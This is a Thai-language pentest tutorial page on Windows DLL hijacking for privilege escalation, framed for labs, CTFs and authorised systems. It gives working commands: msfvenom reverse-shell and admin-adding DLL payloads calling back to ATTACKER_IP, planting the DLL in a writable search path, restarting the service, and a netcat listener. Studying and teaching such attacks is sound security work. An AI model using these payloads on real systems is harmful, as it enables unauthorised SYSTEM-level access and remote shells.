DLL Hijacking
DLL Hijacking ใช้ประโยชน์จากลำดับการค้นหา DLL ของ Windows — ถ้าโปรแกรม (ที่รันเป็น SYSTEM/admin) โหลด DLL โดยไม่ระบุ full path หรือ DLL หาไม่เจอ เราวาง DLL ปลอมใน path ที่ค้นก่อนเพื่อให้รันโค้ดเรา บทนี้ลงลึก DLL search order, การหาด้วย Procmon, การสร้าง DLL, และ exploit (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — DLL search order
เมื่อโปรแกรมโหลด DLL โดยไม่ระบุ full path Windows ค้นตามลำดับ: (1) directory ของ exe, (2) System32, (3) System, (4) Windows, (5) current directory, (6) PATH ถ้า DLL ที่โปรแกรมต้องการหาไม่เจอ (missing DLL) หรือเราเขียน directory ที่ค้นก่อน DLL จริงได้ เราวาง DLL ปลอมชื่อเดียวกัน — โปรแกรมโหลดของเราแทน ถ้าโปรแกรมรันเป็น SYSTEM/admin, DLL ของเราก็รันด้วยสิทธิ์นั้น
2. หา DLL ที่ hijack ได้ (Procmon)
เครื่องมือหลักคือ Procmon (Sysinternals) — ดูว่าโปรแกรมพยายามโหลด DLL จากที่ไหนและอันไหนหาไม่เจอ
# เปิด Procmon แล้วตั้ง filter:
# Operation is CreateFile (หรือ Load Image)
# Path ends with .dll
# Result is NAME NOT FOUND ← DLL ที่หาไม่เจอ = hijackable!
# รัน/restart service หรือโปรแกรมเป้าหมาย → ดู Procmon
# มองหา: <process> พยายามโหลด X.dll จาก path ที่เราเขียนได้ → NAME NOT FOUND
# ตรวจว่า path นั้นเขียนได้ไหม
accesschk.exe -uwdq "C:\Path\Where\DLL\Searched\"
# PowerUp: Find-ProcessDLLHijack / Find-PathDLLHijack3. สร้าง malicious DLL
# === บนเครื่องเรา ===
# reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll
# หรือเพิ่ม admin
msfvenom -p windows/exec CMD="net localgroup administrators user /add" -f dll -o add.dll
# หรือเขียน DLL เอง (C) — payload ใน DllMain
# BOOL APIENTRY DllMain(...) { system("..."); return TRUE; }
# x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll4. วาง DLL + trigger
# วาง DLL ปลอมชื่อตรงกับที่โปรแกรมหา ใน path ที่เขียนได้ + ค้นก่อน
copy evil.dll "C:\Path\Where\Searched\missing.dll"
# trigger: restart service/โปรแกรม (หรือรอ/reboot)
sc stop "VulnService" & sc start "VulnService"
# หรือถ้าเป็นโปรแกรมที่ admin รันตอน login → รอ login
# → DLL โหลด → payload รันเป็น SYSTEM/admin
net localgroup administrators # ตรวจ (ถ้าเพิ่ม admin)5. Quick Reference
- Windows ค้น DLL ตามลำดับ — missing/writable path = hijack
- หา: Procmon filter Result=NAME NOT FOUND + .dll
- ตรวจ writable: accesschk -uwdq path; PowerUp Find-*DLLHijack
- สร้าง: msfvenom -f dll -o evil.dll (payload ใน DllMain)
- วาง DLL ชื่อตรงที่ขาด ใน writable path ที่ค้นก่อน
- trigger: restart service/task → รันเป็น SYSTEM/admin
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ enum แล้วสงสัยว่ามี service/โปรแกรมที่โหลด DLL หายไปได้ มีแค่ Kali ทำตามนี้ทีละขั้น
- 1รัน winPEAS ก่อนเป็นด่านแรก: .\wp.exe quiet cmd fast ถ้าไม่เจอชัด ค่อยไล่ manual
- 2ใช้ PowerUp ช่วยหา (ไม่ต้องมี GUI): Import-Module .\PowerUp.ps1 แล้ว Find-ProcessDLLHijack และ Find-PathDLLHijack
- 3ถ้ามี GUI/RDP ใช้ Procmon ตั้ง filter Result is NAME NOT FOUND + Path ends with .dll แล้ว restart service เป้าหมาย ดูว่า DLL ไหนหาไม่เจอ
- 4ตรวจว่า path ที่มันหา DLL เป็น writable ไหม: icacls "C:\Path\Where\Searched\" หรือ accesschk.exe -uwdq "C:\Path"
- 5ถ้า writable กลับไป Kali สร้าง DLL: msfvenom -p windows/x64/shell_reverse_tcp LHOST=
LPORT=4444 -f dll -o evil.dll - 6เปิด listener บน Kali: nc -lvnp 4444
- 7ส่ง evil.dll เข้าเป้าหมายแล้ววางชื่อตรงกับ DLL ที่ขาด: copy evil.dll "C:\Path\Where\Searched\missing.dll"
- 8trigger ใหม่ (restart service ด้วย sc stop/start หรือรอ scheduled task/login)
- 9เช็ค listener ที่ Kali ว่าได้ shell กลับมาไหม แล้ว whoami ดูสิทธิ์
- 10ถ้าไม่เจอ DLL ที่ hijack ได้เลย ให้ไปเช็ค service permission หรือ unquoted path แทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หา process/service เป้าหมาย | winPEAS / PowerUp.ps1 | - | winpeas (GitHub release ของ PEASS-ng) |
| ดู DLL load order แบบละเอียด (GUI) | Procmon (Sysinternals, ต้องส่งเข้าไป) | - | - |
| ตรวจ writable path | icacls / accesschk.exe | - | - |
| สร้าง malicious DLL | msfvenom (metasploit-framework) | - | - |
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server / impacket-smbserver | pipx install impacket | - |
| เปิด reverse shell listener | nc / msfconsole | - | revshells.com |
| ดู LOLBin ช่วย execute/trigger | - | - | lolbas-project.github.io |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้